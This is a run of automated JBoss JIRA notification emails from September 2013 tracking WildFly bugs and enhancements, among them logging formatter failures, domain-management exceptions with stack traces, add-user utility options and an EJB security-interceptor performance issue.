>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 12:57:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 5 Sep 2013 12:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2012) log4j ConsoleAppender won't
 display messages with per-deployment logging
In-Reply-To: <JIRA.12500124.1378398130000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500124.1378398130000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500124.1378398130000.11725.1378400223358@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2012?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

James Perkins updated WFLY-2012:
--------------------------------

    Priority: Minor  (was: Major)

    
> log4j ConsoleAppender won't display messages with per-deployment logging
> ------------------------------------------------------------------------
>
>                 Key: WFLY-2012
>                 URL: https://issues.jboss.org/browse/WFLY-2012
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>            Priority: Minor
>
> Add the following log4j.properties file to a deployment and try to log.
> {code}
> # Root logger option
> log4j.rootLogger=INFO, stdout
> # Direct log messages to stdout
> log4j.appender.stdout=org.apache.log4j.ConsoleAppender
> log4j.appender.stdout.Target=System.out
> log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
> log4j.appender.stdout.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:03:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 13:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2004) Formatter "COLOR-PATTERN" is
	not found
In-Reply-To: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500018.1378366639000.11734.1378400583374@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2004?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2004:
-----------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> Formatter "COLOR-PATTERN" is not found
> --------------------------------------
>
>                 Key: WFLY-2004
>                 URL: https://issues.jboss.org/browse/WFLY-2004
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>         Attachments: domain.xml, host.xml
>
>
> Failed to start a server on a second host:
> {noformat}
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010919: Registering server stage1
> [Server:stage1] ERROR [org.jboss.as.controller.management-operation] JBAS014612: Operation ("add") failed - address: ([
> [Server:stage1]     ("subsystem" => "logging"),
> [Server:stage1]     ("console-handler" => "CONSOLE")
> [Server:stage1] ]): java.lang.IllegalArgumentException: Formatter "COLOR-PATTERN" is not found
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:83) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:80) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:338) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:291) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:303)
> [Server:stage1] 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:03:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 13:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2004) Formatter "COLOR-PATTERN" is
	not found
In-Reply-To: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500018.1378366639000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500018.1378366639000.11737.1378400583527@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2004?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2004:
-----------------------------------

    Component/s: Logging

    
> Formatter "COLOR-PATTERN" is not found
> --------------------------------------
>
>                 Key: WFLY-2004
>                 URL: https://issues.jboss.org/browse/WFLY-2004
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Logging
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>         Attachments: domain.xml, host.xml
>
>
> Failed to start a server on a second host:
> {noformat}
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010919: Registering server stage1
> [Server:stage1] ERROR [org.jboss.as.controller.management-operation] JBAS014612: Operation ("add") failed - address: ([
> [Server:stage1]     ("subsystem" => "logging"),
> [Server:stage1]     ("console-handler" => "CONSOLE")
> [Server:stage1] ]): java.lang.IllegalArgumentException: Formatter "COLOR-PATTERN" is not found
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:83) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.HandlerConfigurationImpl$1.validate(HandlerConfigurationImpl.java:80) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:338) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:291) [jboss-logmanager-1.5.0.Final.jar:1.5.0.Final]
> [Server:stage1] 	at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:303)
> [Server:stage1] 	at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage1] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:05:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 13:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2003) Failed handling operation
	rollback -- null
In-Reply-To: <JIRA.12500017.1378366299000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500017.1378366299000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500017.1378366299000.11740.1378400703517@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2003?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2003:
-----------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> Failed handling operation rollback -- null
> ------------------------------------------
>
>                 Key: WFLY-2003
>                 URL: https://issues.jboss.org/browse/WFLY-2003
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> Not sure what's causing these, but when operating the web console in domain mode I see planty of these on the console: 
> {noformat}
> [Host Controller] 09:29:23,565 ERROR [org.jboss.as.controller.client] (XNIO-1 task-1) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 59f61bf9 for operation composite at address [] failed handling operation rollback -- null
> {noformat}
> The strange thing is that the management operations return successfully.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:07:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 13:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.11759.1378400824028@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802021#comment-12802021 ] 

Brian Stansberry commented on WFLY-1997:
----------------------------------------

I'm leaving this scheduled for 8.0.0.CR1 primarily as a reminder to look into it, but please do not count on it being resolved then.
                
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:09:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 13:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1954) Exceptions when operating on
	domain mode
In-Reply-To: <JIRA.12499374.1377530442000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499374.1377530442000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499374.1377530442000.11762.1378400943411@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1954?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1954:
-----------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> Exceptions when operating on domain mode
> ----------------------------------------
>
>                 Key: WFLY-1954
>                 URL: https://issues.jboss.org/browse/WFLY-1954
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> When refreshing the topology view form the web console, you'll see a lot of these:
> {noformat}
> [Host Controller] 17:16:58,942 ERROR [org.jboss.as.controller.client] (XNIO-1 task-9) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 5601ac22 for operation composite at address [] failed handling operation rollback -- null
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 13:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-218) Update add-user utility to
 allow overrides of property file name.
In-Reply-To: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489742.1366220996000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489742.1366220996000.11782.1378401184289@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-218?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802027#comment-12802027 ] 

RH Bugzilla Integration commented on WFLY-218:
----------------------------------------------

sgilda at redhat.com made a comment on [bug 978984|https://bugzilla.redhat.com/show_bug.cgi?id=978984]

Darran, I get a 404 on the above link.
                
> Update add-user utility to allow overrides of property file name.
> -----------------------------------------------------------------
>
>                 Key: WFLY-218
>                 URL: https://issues.jboss.org/browse/WFLY-218
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Scripts
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Alpha3
>
>
> This enhancement is going to add two additional command line options to the add-user utility: -
> -up --user-properties
> This will specify the file name of the properties file containing the users and passwords.
> -gp --group-properties
> This will specify the file name of the properties file containing the users groups.
> If specified as absolute paths no searches will be used to locate additional file otherwise both the standalone and domain configuration folders will be searched for matching files.
> group-properties can only be specified if there is a user-properties, the omission of group-properties will disable the prompt to ask for a users groups.
> Specifying a user-properties disables the prompt asking if this is management or application as the primary reason for asking that was to decide which files to look for.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:59:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 13:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.11855.1378403943684@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802040#comment-12802040 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Jason Greene <jason.greene at jboss.com> made a comment on [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665]

994700 was merged
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 13:59:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 13:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.11859.1378403943885@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802041#comment-12802041 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Jason Greene <jason.greene at jboss.com> changed the Status of [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665] from ASSIGNED to MODIFIED
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 14:09:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Thu, 5 Sep 2013 14:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490178@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490178@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490178.11865.1378404543378@jira02.app.mwc.hst.phx2.redhat.com>

Stuart Douglas created WFLY-2013:
------------------------------------

             Summary: SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
                 Key: WFLY-2013
                 URL: https://issues.jboss.org/browse/WFLY-2013
             Project: WildFly
          Issue Type: Bug
          Components: EJB
    Affects Versions: 8.0.0.Alpha4
            Reporter: Stuart Douglas
            Assignee: Stuart Douglas
             Fix For: 8.0.0.Beta1


This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 14:13:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 14:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490000.11868.1378404783836@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2013:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1004919

    
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 14:13:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 14:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490000.11871.1378404783965@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802042#comment-12802042 ] 

RH Bugzilla Integration commented on WFLY-2013:
-----------------------------------------------

Stuart Douglas <sdouglas at redhat.com> made a comment on [bug 1004919|https://bugzilla.redhat.com/show_bug.cgi?id=1004919]

Description of problem:

SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present, which is a bit slow.
                
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 14:15:04 2013
